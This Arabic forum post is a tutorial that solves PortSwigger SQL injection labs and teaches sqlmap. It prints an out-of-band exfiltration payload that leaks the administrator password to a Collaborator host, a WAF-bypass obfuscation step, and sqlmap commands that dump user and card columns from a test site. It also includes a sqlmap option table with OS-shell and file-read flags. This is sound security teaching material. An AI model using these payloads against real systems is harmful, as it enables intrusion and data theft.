  1. ما بتسبب رسائل خطأ: لن يظهر أي رسالة خطأ تشير إلى وجود مشكلة.
  2. ما بتسبب اختلافات بمخرجات التطبيق: لا تغير في مخرجات التطبيق التي يمكن ملاحظتها.
  3. ما بتسبب تأخيرات زمنية قابلة للاكتشاف: لا تؤدي إلى تأخيرات ملحوظة في استجابة التطبيق.

طيب كيف بتشتغل


الـ Burp بتبعث Payload تابعه للـ Collaborator بـ Request
الـ payload عباره عن subdomain للـ Collaborator
الـ Burp بعمل زي ما نحكي Monitor بشوف اذا في تفاعل من الخادم زي ما بالصوره اللي فوق


عشان نحل التحدي
بنستخدم الامر هاد بس بنبدل القيمه هاي BURP-COLLABORATOR-SUBDOMAIN

كود:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

طبعا الامر هاد بنطلعه من الـ cheat sheet الخاصه بالـ sql من موقع portswigger



بالقيمه اللي بننسخها من هون


بعد ما نرسل الريكويست



بنلاقي انو ظهر عنا



وهيك نحل التحدي







Blind SQL injection with out-of-band data exfiltration



هاد التحدي نفس اللي فوق بس بدنا نطلع data وبرضو بنلاقيه على موقع الـ cheat sheet الخاصه بالـ sql من موقع portswigger


بنستخدم الامر هاد وبنعدل القيمه BURP-COLLABORATOR-SUBDOMAIN زي قبل شوي تماما بس بنستخدم الامر هاد عشان نرجع الباسورد الخاصه باليوزر اللي اسمه Administrator


كود:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--


وهيك بنطلع الباسورد لانه احنا كاتبين بالامر انه يطبعه قبل الـ BURP-COLLABORATOR-SUBDOMAIN بنقطه dministrator')||'.BURP-COLLAB




حل الاب بالعربي









SQL injection with filter bypass via XML encoding




بنعمل Check stock وبنبعث الطلب للـ Repeater


مشاهدة المرفق 10944




مشاهدة المرفق 10943


بحاول نغير بقيمه الـ storeId زي مثلا نجرب نحط 1 UNION SELECT NULL

بعطينا




بنبحث على الـ Extensions على هاي الاضافه اللي بتسمحلنا نعمل اشياء كثير عن طريقها بنحاول نعمل obfuscating للبايلود

مشاهدة المرفق 10947


بعدها بنحدد على النص

مشاهدة المرفق 10948
وبنعملها obfuscating عن طريق الخطوات هاي



لما نجرب نرسل الطلب بنلاقي انه ما اكتشف اني بعمل اتتاك



بعدها بنرجع اليوزرز والباسورد











شرح اداه sqlmap

أهم الأوامر الأساسية التي تحتاجها لاستغلال أي موقع باستخدام أداة sqlmap :
الأوامر
الشرح
u URL, --url=URL-
تحديد عنوان الهدف (مثال: "http://www.site.com/vuln.php?id=1")
dbs--
اختبار واستخراج قواعد البيانات
D DBNAME --tables-
استخراج جداول قاعدة بيانات معينة​
D DBNAME -T TABLENAME --columns-
استخراج أعمدة جدول معين​
D DBNAME -T TABLENAME -C COLUMN --dump-
استخراج بيانات أعمدة معينة​

1. مثال عملي على موقع عادي

بنشوف قواعد البيانات المتاحة :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" --dbs

بنستخرج الجداول اللي موجودة بقاعدة البيانات :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname --tables

بنستخرج الأعمدة من جدول معين :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname -T tablename --columns

بنستخرج بيانات من الأعمدة :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname -T tablename -C columnname --dump




2. مثال عملي على موقع تسجيل دخول

حقن استعلام SQL في حقل username عشان نشوف اذا فيه ثغره sql
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" --batch --current-db


إذا تم اكتشاف ثغرة بنكمل عشان نشوف قواعد البيانات المتاحة :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" --dbs


بنستخرج الجداول اللي موجودة بقاعدة البيانات :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb --tables


بنستخرج الأعمدة من جدول معين :

كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb -T users --columns


بنستخرج بيانات من الأعمدة :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb -T users -C "id,username,password" --dump


3. نجرب على موقع حقيقي


بنستخدم الامر هاد عشان نشوف شو هي قواعد البيانات المتاحه
كود:
python .\sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs





بظهرلنا هون نتائج الفحص والامر اللي استخدمته عشان اعرف شو هي اسماء الداتابيز


بعدها بنستخرج اسماء الجداول عن طريق اسم الداتابيز باستخدام الامر هاد
كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables




بعدها بنستخرج البيانات من جدول معين مثلا ال users

كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns



بنستخرج البيانات من العامود ال name وال pass وال cc مثلا

عن طريق الامر
كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users -C name,pass,cc --dump



جدول أوامر الأداة​


الفئةالأوامرالشرح
عام-h, --helpعرض رسالة المساعدة الأساسية والخروج
-hhعرض رسالة المساعدة المتقدمة والخروج
--versionعرض رقم إصدار البرنامج والخروج
-v VERBOSEمستوى التفاصيل: من 0-6 (الافتراضي 1)
الهدف-u URL, --url=URLعنوان الهدف (مثال: "http://www.site.com/vuln.php?id=1")
-d DIRECTسلسلة الاتصال لاتصال مباشر بقاعدة البيانات
-l LOGFILEتحليل الهدف من ملف سجل وكيل Burp أو WebScarab
-m BULKFILEفحص أهداف متعددة من ملف نصي
-r REQUESTFILEتحميل طلب HTTP من ملف
-g GOOGLEDORKمعالجة نتائج بحث Google Dork كعناوين أهداف
-c CONFIGFILEتحميل الخيارات من ملف تكوين INI
الطلب-A AGENT, --user-agent=AGENTقيمة رأس HTTP User-Agent
-H HEADER, --header=HEADERرأس إضافي (مثال: "X-Forwarded-For: 127.0.0.1")
--method=METHODفرض استخدام طريقة HTTP معينة (مثال: PUT)
--data=DATAسلسلة البيانات المرسلة عبر POST (مثال: "id=1")
--param-del=PARAMDELحرف لفصل قيم المعلمات (مثال: &)
--cookie=COOKIEقيمة رأس HTTP Cookie (مثال: "PHPSESSID=a8d127e..")
--cookie-del=COOKIEDELحرف لفصل قيم الكوكيز (مثال: ;)
--live-cookies=LIVECOOKIESملف الكوكيز لاستخدام القيم المحدثة
--load-cookies=LOADCOOKIESملف يحتوي على كوكيز بصيغة Netscape/wget
--drop-set-cookieتجاهل رأس Set-Cookie من الاستجابة
--mobileمحاكاة الهاتف الذكي عبر رأس HTTP User-Agent
--random-agentاستخدام قيمة عشوائية لرأس HTTP User-Agent
--host=HOSTقيمة رأس HTTP Host
--referer=REFERERقيمة رأس HTTP Referer
--headers=HEADERSرؤوس إضافية (مثال: "Accept-Language: fr\nETag: 123")
--auth-type=AUTHTYPEنوع مصادقة HTTP (Basic, Digest, Bearer, ...)
--auth-cred=AUTHCREDبيانات اعتماد مصادقة HTTP (name
)
--auth-file=AUTHFILEملف مصادقة HTTP بشهادة PEM/مفتاح خاص
--abort-code=ABORTCODEإيقاف على كود خطأ HTTP معين (مثال: 401)
--ignore-code=IGNORECODEتجاهل كود خطأ HTTP معين (مثال: 401)
--ignore-proxyتجاهل إعدادات الوكيل الافتراضية للنظام
--ignore-redirectsتجاهل محاولات إعادة التوجيه
--ignore-timeoutsتجاهل وقت انتهاء الاتصال
--proxy=PROXYاستخدام وكيل للاتصال بالهدف
--proxy-cred=PROXYCREDبيانات اعتماد الوكيل (name
)
--proxy-file=PROXYFILEتحميل قائمة وكلاء من ملف
--proxy-freq=PROXYFREQعدد الطلبات بين تغيير الوكيل من القائمة
--torاستخدام شبكة تور للخصوصية
--tor-port=TORPORTتعيين منفذ وكيل تور غير الافتراضي
--tor-type=TORTYPEتعيين نوع وكيل تور (HTTP, SOCKS4, SOCKS5)
--check-torالتحقق من استخدام تور بشكل صحيح
--delay=DELAYتأخير بالثواني بين كل طلب HTTP
--timeout=TIMEOUTثواني الانتظار قبل انتهاء مهلة الاتصال (الافتراضي 30)
--retries=RETRIESعدد المحاولات عند انتهاء مهلة الاتصال (الافتراضي 3)
--retry-on=RETRYONإعادة المحاولة عند مطابقة تعبير عادي معين
--randomize=RPARAMتغيير عشوائي لقيمة معلمة معينة
--safe-url=SAFEURLعنوان URL آمن للزيارة بشكل متكرر أثناء الاختبار
--safe-post=SAFEPOSTبيانات POST لإرسالها إلى عنوان URL آمن
--safe-req=SAFEREQتحميل طلب HTTP آمن من ملف
--safe-freq=SAFEFREQعدد الطلبات العادية بين زيارات العنوان الآمن
--skip-urlencodeتخطي ترميز URL لبيانات الحمولة
--csrf-token=CSRFTOKENمعلمة لحمل رمز مكافحة CSRF
--csrf-url=CSRFURLعنوان URL لزيارة لاستخراج رمز مكافحة CSRF
--csrf-method=CSRFMETHODطريقة HTTP لاستخدامها أثناء زيارة صفحة رمز مكافحة CSRF
--csrf-data=CSRFDataبيانات POST لإرسالها أثناء زيارة صفحة رمز مكافحة CSRF
--csrf-retries=CSRFRETRIESعدد المحاولات لاستخراج رمز مكافحة CSRF (الافتراضي 0)
--force-sslفرض استخدام SSL/HTTPS
--chunkedاستخدام طلبات HTTP chunked transfer encoded (POST)
--hppاستخدام طريقة تلوث معلمات HTTP
--eval=EVALCODEتقييم كود Python المقدم قبل الطلب (مثال: "import hashlib;id2=hashlib.md5(id).hexdigest()")
التحسين-oتشغيل كل مفاتيح التحسين
--predict-outputالتنبؤ بمخرجات الاستعلامات الشائعة
--keep-aliveاستخدام اتصالات HTTP(s) المستمرة
--null-connectionاسترجاع طول الصفحة بدون جسم استجابة HTTP الفعلي
--threads=THREADSعدد الحد الأقصى من طلبات HTTP(s) المتزامنة (الافتراضي 1)
الحقن-p TESTPARAMETERمعلمة قابلة للاختبار
--skip=SKIPتخطي اختبار معلمة معينة
--skip-staticتخطي اختبار المعلمات الساكنة
--param-exclude=PEXCLUDEاستبعاد المعلمات التي تتطابق مع تعبير عادي معين
--dbms=DBMSفرض استهداف قاعدة بيانات معينة
--dbms-cred=DBMSCREDبيانات اعتماد قاعدة البيانات لتخطي الاستغلال (user
)
--os=OSفرض استهداف نظام تشغيل معين
--invalid-bignumاستخدام أعداد صحيحة كبيرة غير صالحة للاختبار
--invalid-logicalاستخدام تعبيرات منطقية غير صالحة للاختبار
--invalid-stringاستخدام سلاسل غير صالحة للاختبار
--no-castتجاهل استخدام النوع أثناء الحقن الاحتيالي
--no-escapeتجاهل استخدام الرموز الهروب أثناء الحقن
--prefix=PREFIXسلسلة لحقنها قبل كل حمولة أثناء الحقن
--suffix=SUFFIXسلسلة لحقنها بعد كل حمولة أثناء الحقن
--tamper=TAMPERاستخدام برامج التشويش الخاصة بالحقل (مثال: "between,randomcase")
الفحص-level=LEVELمستوى الشدة من 1-5 (الافتراضي 1)
--risk=RISKمستوى المخاطرة من 1-3 (الافتراضي 1)
--string=STRINGسلسلة لاكتشاف استجابة الحقن الناجحة
--not-string=NOTSTRINGسلسلة لاكتشاف استجابة الحقن غير الناجحة
--regexp=REGEXPتعبير عادي لاكتشاف استجابة الحقن الناجحة
--code=CODEكود حالة HTTP لاكتشاف استجابة الحقن الناجحة
--smartإجراء اختبار حقن ذكي
--text-onlyمقارنة الاختلافات في المحتوى فقط
--titlesمقارنة الاختلافات في عنوان HTML فقط
تحصيل المعلومات-a, --allاسترجاع كل المعلومات
-b, --bannerاسترجاع شعار قاعدة البيانات
--current-userاسترجاع المستخدم الحالي لقاعدة البيانات
--current-dbاسترجاع قاعدة البيانات الحالية
--hostnameاسترجاع اسم المضيف
--is-dbaالتحقق مما إذا كان المستخدم الحالي لديه امتيازات DBA
--usersاسترجاع أسماء مستخدمي قاعدة البيانات
--passwordsاسترجاع كلمات مرور مستخدمي قاعدة البيانات
--privilegesاسترجاع امتيازات مستخدمي قاعدة البيانات
--rolesاسترجاع أدوار مستخدمي قاعدة البيانات
--dbsاسترجاع قواعد البيانات المتاحة
--tablesاسترجاع جداول قاعدة البيانات
--columnsاسترجاع أعمدة الجداول
--schemaاسترجاع مخطط قاعدة البيانات بالكامل
--countاسترجاع عدد المدخلات في الجداول
--dumpتفريغ بيانات الجدول
--dump-allتفريغ كل بيانات قاعدة البيانات
--searchالبحث عن أسماء الأعمدة
--commentsاسترجاع تعليقات قاعدة البيانات
-D DBقاعدة البيانات لعملية الاسترجاع
-T TBLالجدول لعملية الاسترجاع
-C COLالعمود لعملية الاسترجاع
--exclude-sysdbsاستبعاد قواعد البيانات النظامية
--pivot-column=PIVOTCOLUMNالعمود المحوري
--where=DUMPWHEREجملة شرطية لاسترجاع البيانات
--start=LIMITSTARTقيمة البدء لتفريغ الجدول
--stop=LIMITSTOPقيمة الإيقاف لتفريغ الجدول
--first=FIRSTCHARموضع الحرف الأول للتفريغ
--last=LASTCHARموضع الحرف الأخير للتفريغ
--sql-query=SQLQUERYاسترجاع نتيجة استعلام SQL المخصص
--sql-shellإسقاط إلى واجهة سطر الأوامر لقاعدة البيانات
--sql-file=SQLFILEقراءة استعلامات SQL لتنفيذها من ملف خارجي
الاستغلال--os-cmd=OSCMDتنفيذ أمر نظام التشغيل
--os-shellإسقاط إلى واجهة سطر الأوامر لنظام التشغيل
--os-pwnاستخدام Metasploit لحصول على اتصال عكسي
--os-smbrelayإجراء هجوم SMB relay
--os-bofتنفيذ هجوم buffer overflow
--priv-escمحاولة ترقية الامتيازات
--msf-path=MSFPATHمسار Metasploit Framework
--tmp-path=TMPPATHمسار دليل التخزين المؤقت لنظام التشغيل الهدف
أدوات--reg-readقراءة قيمة السجل
--reg-addإضافة إدخال السجل
--reg-delحذف إدخال السجل
--reg-key=REGKEYمفتاح السجل
--reg-value=REGVALقيمة السجل
--reg-data=REGDATAبيانات السجل
--reg-type=REGTYPEنوع السجل
--file-read=FILEقراءة الملف
--file-write=FILEكتابة الملف
--file-dest=DESTدليل الهدف على نظام التشغيل
--shellإسقاط إلى واجهة سطر الأوامر التفاعلية
--purgeتطهير ملفات وأدلة مؤقتة
البيانات--save=SAVEحفظ خيارات الإدخال إلى ملف INI
--load=LOADتحميل خيارات الإدخال من ملف INI
--merge=MERGEدمج خيارات الإدخال من ملف INI
--save-config=SCONFIGحفظ خيارات الإعداد إلى ملف INI
--flush-sessionتطهير المعلومات الخاصة بالجلسة الحالية
--fresh-queriesتجاهل الحفظ في قاعدة بيانات الجلسة
--etaعرض الوقت المتوقع لإنهاء تنفيذ العملية
--updateتحديث sqlmap
--dependenciesالتحقق من الاعتماديات المفقودة
--disable-coloringتعطيل تلوين الإخراج


تقدر تلاقي مثال لتشغيل الأداة هنا. ولمعلومات أكتر عن قدرات الأداة والمزايا والأوامر المختلفة، ممكن تشوف دليل المستخدم.

روابط مهمة


ماشاء الله تبارك الله، لا قوة إلا بالله
مبدع مبدع مبدع يا عبود غبت شويا لكن رجعت بقنبلة
بارك الله فيك يا عبود، في انتظار المزيد من ابداعك يا بطل
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى